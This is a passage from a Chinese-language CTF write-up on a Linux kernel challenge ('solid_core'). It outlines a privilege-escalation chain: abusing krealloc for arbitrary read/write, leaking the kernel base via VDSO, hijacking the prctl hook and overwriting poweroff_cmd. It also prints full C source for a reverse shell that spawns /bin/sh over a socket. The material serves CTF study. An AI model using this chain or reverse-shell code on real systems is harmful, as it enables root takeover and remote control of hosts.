static const char reboot_cmd[] = "/sbin/reboot"; //reboot_work_func()
char poweroff_cmd[POWEROFF_CMD_PATH_LEN] = "/sbin/poweroff"; //poweroff_work_func()
(2)利用思路
- 利用kremalloc的問題,達(dá)到任意地址讀寫的能力
- 通過快速爆破,泄露出VDSO地址。
- 利用VDSO和kernel_base相差不遠(yuǎn)的特性,泄露出內(nèi)核基址。(泄露VDSO是為了泄露內(nèi)核基址?)
- 篡改prctl的hook為selinux_disable函數(shù)的地址
- 調(diào)用prctl使得selinux失效(INetCop Security給出的思路中要求的一步)
- 篡改poweroff_cmd使其等于我們預(yù)期執(zhí)行的命令("/bin/chmod 777 /flag\0")?;蛘邔oweroff_cmd處改為一個(gè)反彈shell的binary命令,監(jiān)聽端口就可以拿到shell。
- 篡改prctl的hook為orderly_poweroff
- 調(diào)用prctl執(zhí)行我們預(yù)期的命令,達(dá)到內(nèi)核提權(quán)的效果。
其中第4、5步是安卓root必須的兩步,本題linux環(huán)境下不需要。
(3)Exploit
//reverse_shell.c
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>
int main(int argc,char *argv[])
{
int sockfd,numbytes;
char buf[BUFSIZ];
struct sockaddr_in their_addr;
while((sockfd = socket(AF_INET,SOCK_STREAM,0)) == -1);
their_addr.sin_family = AF_INET;
their_addr.sin_port = htons(2333);
their_addr.sin_addr.s_addr=inet_addr("127.0.0.1");
bzero(&(their_addr.sin_zero), 8);
while(connect(sockfd,(struct sockaddr*)&their_addr,sizeof(struct sockaddr)) == -1);
dup2(sockfd,0);
dup2(sockfd,1);
dup2(sockfd,2);
system("/bin/sh");
return 0;
}
注意,跟之前的shellcode反彈shell不同,這里是執(zhí)行反彈shell程序,所以需要fork()來執(zhí)行反彈shell腳本。
Exploit見test_hijackprctl.c。

其他參考
強(qiáng)網(wǎng)杯出題思路-solid_core: http://simp1e.leanote.com/post/%E5%BC%BA%E7%BD%91%E6%9D%AF%E5%87%BA%E9%A2%98%E6%80%9D%E8%B7%AF-solid_core
Bypassing SMEP Using vDSO Overwrites:https://hardenedlinux.github.io/translation/2015/11/25/Translation-Bypassing-SMEP-Using-vDSO-Overwrites.html
linux kernel pwn notes: https://xz.aliyun.com/t/2306
idr 機(jī)制:http://blog.chinaunix.net/uid-21762157-id-4165782.html
https://github.com/mncoppola/StringIPC/blob/master/solution/solution.c
給shellcode找塊福地-通過VDSO繞過PXN:https://bbs.pediy.com/thread-220057.htm
New Reliable Android Kernel Root Exploitation Techniques: http://t.cn/Rftu7Dn